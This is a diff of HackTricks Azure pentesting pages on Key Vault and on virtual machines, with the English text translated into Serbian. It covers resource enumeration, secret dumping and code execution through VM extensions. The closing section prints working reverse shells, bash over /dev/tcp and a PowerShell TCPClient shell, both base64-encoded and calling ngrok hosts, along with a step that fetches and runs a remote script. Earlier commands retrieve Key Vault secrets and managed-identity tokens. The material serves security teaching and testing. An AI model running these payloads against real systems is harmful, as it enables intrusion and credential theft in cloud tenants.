|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List all Key Vaults in the subscription
|
||||
az keyvault list
|
||||
@@ -92,11 +89,9 @@ az keyvault secret show --vault-name <KeyVaultName> --name <SecretName>
|
||||
# Get old versions secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get keyvault token
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
@@ -120,11 +115,9 @@ Get-AzKeyVault -VaultName <KeyVaultName> -InRemovedState
|
||||
# Get secret values
|
||||
Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -AsPlainText
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az script" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -151,38 +144,33 @@ echo "Vault Name,Associated Resource Group" > $CSV_OUTPUT
|
||||
# Iterate over each resource group
|
||||
for GROUP in $AZ_RESOURCE_GROUPS
|
||||
do
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-key-vault-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-key-vault-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,61 +1,60 @@
|
||||
# Az - Virtual Machines & Network
|
||||
# Az - Virtuelne mašine i mreža
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Networking Basic Info
|
||||
## Osnovne informacije o Azure mrežama
|
||||
|
||||
Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:
|
||||
Azure mreže sadrže **različite entitete i načine za njihovu konfiguraciju.** Možete pronaći kratak **opis,** **primere** i **komande za enumeraciju** različitih Azure mrežnih entiteta u:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
{{#endref}}
|
||||
|
||||
## VMs Basic information
|
||||
## Osnovne informacije o VM-ovima
|
||||
|
||||
Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux operating systems**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
|
||||
Azure virtuelne mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani na oblaku koji vam omogućavaju da pokrećete Windows ili Linux operativne sisteme**. Omogućavaju vam da implementirate aplikacije i radne opterećenja bez upravljanja fizičkim hardverom. Azure VM-ovi se mogu konfigurirati sa različitim opcijama CPU-a, memorije i skladišta kako bi zadovoljili specifične potrebe i integrisali se sa Azure uslugama kao što su virtuelne mreže, skladište i alati za bezbednost.
|
||||
|
||||
### Security Configurations
|
||||
### Konfiguracije bezbednosti
|
||||
|
||||
- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
|
||||
- **Security Type**:
|
||||
- **Standard Security**: This is the default security type that does not require any specific configuration.
|
||||
- **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
|
||||
- **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
|
||||
- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
|
||||
- It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC network security group**:
|
||||
- **None**: Basically opens every port
|
||||
- **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Advanced**: Select a security group
|
||||
- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
|
||||
- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
|
||||
- Percentage CPU is greater than 80%
|
||||
- Available Memory Bytes is less than 1GB
|
||||
- Data Disks IOPS Consumed Percentage is greater than 95%
|
||||
- OS IOPS Consumed Percentage is greater than 95%
|
||||
- Network in Total is greater than 500GB
|
||||
- Network Out Total is greater than 200GB
|
||||
- VmAvailabilityMetric is less than 1
|
||||
- **Heath monitor**: By default check protocol HTTP in port 80
|
||||
- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
|
||||
- Most VM related resources **also support locks** like disks, snapshots...
|
||||
- Locks can also be applied at **resource group and subscription levels**
|
||||
- **Zoni dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja više zona na lokalne prekide ili katastrofe.
|
||||
- **Tip bezbednosti**:
|
||||
- **Standardna bezbednost**: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju.
|
||||
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot-a i Virtuelnog pouzdanog platformskog modula (vTPM).
|
||||
- **Poverljive VM-ove**: Pored pouzdanog pokretanja, nudi hardversku izolaciju između VM-a, hipervizora i host menadžmenta, poboljšava enkripciju diska i [**više**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Autentifikacija**: Podrazumevano se generiše nova **SSH ključ**, iako je moguće koristiti javni ključ ili prethodni ključ, a podrazumevano korisničko ime je **azureuser**. Takođe je moguće konfigurirati korišćenje **lozinke.**
|
||||
- **Enkripcija diska VM-a:** Disk je podrazumevano enkriptovan kada je u mirovanju koristeći ključ koji upravlja platforma.
|
||||
- Takođe je moguće omogućiti **Enkripciju na hostu**, gde će podaci biti enkriptovani na hostu pre slanja u skladišnu uslugu, osiguravajući end-to-end enkripciju između hosta i skladišne usluge ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC mrežna sigurnosna grupa**:
|
||||
- **Nema**: U suštini otvara svaku port
|
||||
- **Osnovna**: Omogućava lako otvaranje ulaznih portova HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Napredna**: Izaberite sigurnosnu grupu
|
||||
- **Backup**: Moguće je omogućiti **Standardni** backup (jednom dnevno) i **Poboljšani** (više puta dnevno)
|
||||
- **Opcije orkestracije zakrpa**: Ovo omogućava automatsko primenjivanje zakrpa na VM-ovima prema odabranoj politici kao što je opisano u [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Upozorenja**: Moguće je automatski dobijati upozorenja putem e-pošte ili mobilne aplikacije kada se nešto dogodi na VM-u. Podrazumevana pravila:
|
||||
- Procenat CPU-a je veći od 80%
|
||||
- Dostupna memorija u bajtovima je manja od 1GB
|
||||
- Procenat potrošnje IOPS podataka na diskovima je veći od 95%
|
||||
- Procenat potrošnje IOPS OS-a je veći od 95%
|
||||
- Ukupna mreža je veća od 500GB
|
||||
- Ukupna mreža izlaz je veća od 200GB
|
||||
- VmAvailabilityMetric je manji od 1
|
||||
- **Monitor zdravlja**: Podrazumevano proverava protokol HTTP na portu 80
|
||||
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (**CanNotDelete** zaključavanje).
|
||||
- Većina resursa povezanih sa VM-ovima **takođe podržava zaključavanja** kao što su diskovi, snimci...
|
||||
- Zaključavanja se takođe mogu primeniti na **nivoima grupe resursa i pretplate**
|
||||
|
||||
## Disks & snapshots
|
||||
## Diskovi i snimci
|
||||
|
||||
- It's possible to **enable to attach a disk to 2 or more VMs**
|
||||
- By default every disk is **encrypted** with a platform key.
|
||||
- Same in snapshots
|
||||
- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
|
||||
- Same in snapshots
|
||||
- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
|
||||
- Same in snapshots
|
||||
- Moguće je **omogućiti povezivanje diska sa 2 ili više VM-ova**
|
||||
- Podrazumevano je svaki disk **enkriptovan** sa ključem platforme.
|
||||
- Isto važi i za snimke
|
||||
- Podrazumevano je moguće **deliti disk sa svih mreža**, ali se može i **ograničiti** samo na određene **privatne pristupe** ili **potpuno onemogućiti** javni i privatni pristup.
|
||||
- Isto važi i za snimke
|
||||
- Moguće je **generisati SAS URI** (maksimalno 60 dana) za **izvoz diska**, koji se može konfigurirati da zahteva autentifikaciju ili ne
|
||||
- Isto važi i za snimke
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List all disks
|
||||
az disk list --output table
|
||||
@@ -63,10 +62,8 @@ az disk list --output table
|
||||
# Get info about a disk
|
||||
az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List all disks
|
||||
Get-AzDisk
|
||||
@@ -74,20 +71,18 @@ Get-AzDisk
|
||||
# Get info about a disk
|
||||
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Images, Gallery Images & Restore points
|
||||
## Slike, Galerijske slike i Tačke vraćanja
|
||||
|
||||
A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\
|
||||
Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public.
|
||||
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, tačka u vremenu kopija jednog upravljanog diska, koja se koristi prvenstveno za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
|
||||
Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure računarskih galerija**, što omogućava generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javnu.
|
||||
|
||||
A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
|
||||
**Tačka vraćanja** čuva konfiguraciju VM-a i **tačku u vremenu** aplikacijski konzistentne **snimke svih upravljanih diskova** povezanih sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Shared Image Galleries | Compute Galleries
|
||||
## List all galleries and get info about one
|
||||
@@ -119,10 +114,8 @@ az image list --output table
|
||||
az restore-point collection list-all --output table
|
||||
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
## List all galleries and get info about one
|
||||
Get-AzGallery
|
||||
@@ -146,73 +139,67 @@ Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
|
||||
## List all restore points and get info about 1
|
||||
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it.
|
||||
Iz [**dokumentacije**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery pomaže u obezbeđivanju kontinuiteta poslovanja tako što održava poslovne aplikacije i radne opterećenja u radu tokom prekida. Site Recovery **replicira radna opterećenja** koja se izvode na fizičkim i virtuelnim mašinama (VM) sa primarne lokacije na sekundarnu lokaciju. Kada dođe do prekida na vašoj primarnoj lokaciji, prebacujete se na sekundarnu lokaciju i pristupate aplikacijama odatle. Kada primarna lokacija ponovo počne da radi, možete se vratiti na nju.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs.
|
||||
Azure Bastion omogućava siguran i neometan **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** pristup vašim virtuelnim mašinama (VM) direktno kroz Azure Portal ili putem jump box-a. Tako što **uklanja potrebu za javnim IP adresama** na vašim VM-ima.
|
||||
|
||||
The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**.
|
||||
Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**.
|
||||
|
||||
To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:
|
||||
Da biste naveli sve Azure Bastion hostove u vašoj pretplati i povezali se sa VM-ima preko njih, možete koristiti sledeće komande:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List bastions
|
||||
az network bastion list -o table
|
||||
|
||||
# Connect via SSH through bastion
|
||||
az network bastion ssh \
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
|
||||
# Connect via RDP through bastion
|
||||
az network bastion rdp \
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List bastions
|
||||
Get-AzBastion
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Metadata
|
||||
|
||||
The Azure Instance Metadata Service (IMDS) **provides information about running virtual machine instances** to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via **REST API available at the non-routable IP address 169.254.169.254**, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.
|
||||
Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancama virtuelnih mašina** kako bi pomogao u njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem **REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254**, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, osiguravajući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi osigurali pravilnu komunikaciju.
|
||||
|
||||
Moreover, to contact the metadata endpoint, the HTTP request must have the header **`Metadata: true`** and must not have the header **`X-Forwarded-For`**.
|
||||
Pored toga, da bi se kontaktirao krajnji tačka metapodataka, HTTP zahtev mora imati zaglavlje **`Metadata: true`** i ne sme imati zaglavlje **`X-Forwarded-For`**.
|
||||
|
||||
Check how to enumerate it in:
|
||||
Proverite kako da ga enumerišete u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
|
||||
```bash
|
||||
# VMs
|
||||
## List all VMs and get info about one
|
||||
@@ -234,8 +221,8 @@ az vm extension list -g <rsc-group> --vm-name <vm-name>
|
||||
|
||||
## List managed identities in a VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Disks
|
||||
## List all disks and get info about one
|
||||
@@ -440,22 +427,20 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
## Izvršavanje koda u VM-ovima
|
||||
|
||||
## Code Execution in VMs
|
||||
### VM Ekstenzije
|
||||
|
||||
### VM Extensions
|
||||
Azure VM ekstenzije su male aplikacije koje pružaju **konfiguraciju nakon implementacije** i automatizaciju zadataka na Azure virtuelnim mašinama (VM-ovima).
|
||||
|
||||
Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs).
|
||||
Ovo bi omogućilo **izvršavanje proizvoljnog koda unutar VM-ova**.
|
||||
|
||||
This would allow to **execute arbitrary code inside VMs**.
|
||||
Potrebna dozvola je **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
It's possible to list all the available extensions with:
|
||||
Moguće je nabrojati sve dostupne ekstenzije sa:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
@@ -463,25 +448,21 @@ az vm extension image list --output table
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# It takes some mins to run
|
||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's possible to **run custom extensions that runs custom code**:
|
||||
Moguće je **pokrenuti prilagođene ekstenzije koje izvršavaju prilagođeni kod**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- Izvrši reverznu ljusku
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -489,122 +470,110 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- Izvršite skriptu koja se nalazi na internetu
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- Izvrši reverznu ljusku
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
